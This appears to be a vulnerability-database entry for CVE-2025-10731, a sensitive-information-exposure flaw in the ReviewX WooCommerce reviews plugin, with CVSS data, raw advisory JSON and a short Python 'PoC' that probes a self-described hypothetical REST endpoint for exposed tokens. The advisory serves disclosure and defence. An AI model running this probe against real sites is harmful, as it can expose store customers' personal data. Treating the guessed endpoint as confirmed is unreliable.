Security Vulnerability Report
中文
CVE-2025-10731 CVSS 5.3 MEDIUM

CVE-2025-10731

Published: 2026-03-23 06:16:18
Last Modified: 2026-04-24 16:32:54

Description

The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.12 via the allReminderSettings function. This makes it possible for unauthenticated attackers to obtain authentication tokens and subsequently bypass admin restrictions to access and export sensitive data including order details, names, emails, addresses, phone numbers, and user information.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

ReviewX <= 2.2.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Hypothetical endpoint based on function name) target_url = "http://example.com/wp-json/reviewx/v1/allReminderSettings" headers = { "User-Agent": "CVE-2025-10731-Scanner/1.0", "Accept": "application/json" } def check_vulnerability(url): try: # Send unauthenticated request to the vulnerable endpoint response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential Vulnerability Detected!") print("[+] Response Content:") print(response.text) # Check if response contains sensitive keys or tokens if "token" in response.text.lower() or "auth" in response.text.lower(): print("[!] WARNING: Sensitive authentication data likely exposed.") else: print(f"[-] Endpoint returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": check_vulnerability(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10731", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:18.133", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.12 via the allReminderSettings function. This makes it possible for unauthenticated attackers to obtain authentication tokens and subsequently bypass admin restrictions to access and export sensitive data including order details, names, emails, addresses, phone numbers, and user information."}, {"lang": "es", "value": "El plugin ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema &amp; More para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta, e incluyendo, la 2.2.12 a través de la función allReminderSettings. Esto hace posible que atacantes no autenticados obtengan tokens de autenticación y posteriormente eludan las restricciones de administrador para acceder y exportar datos sensibles, incluyendo detalles de pedidos, nombres, correos electrónicos, direcciones, números de teléfono e información de usuario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/reviewx/tags/2.2.7/app/Rest/Controllers/DataSyncController.php#L68", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/reviewx/tags/2.2.7/app/Rest/Controllers/EmailTemplateController.php#L165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/reviewx/tags/2.2.7/app/Rest/Middleware/AdminMiddleware.php#L11", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/06b290c2-e458-46da-abed-0ab5d63d1550?source=cve", "source": "[email protected]"}]}}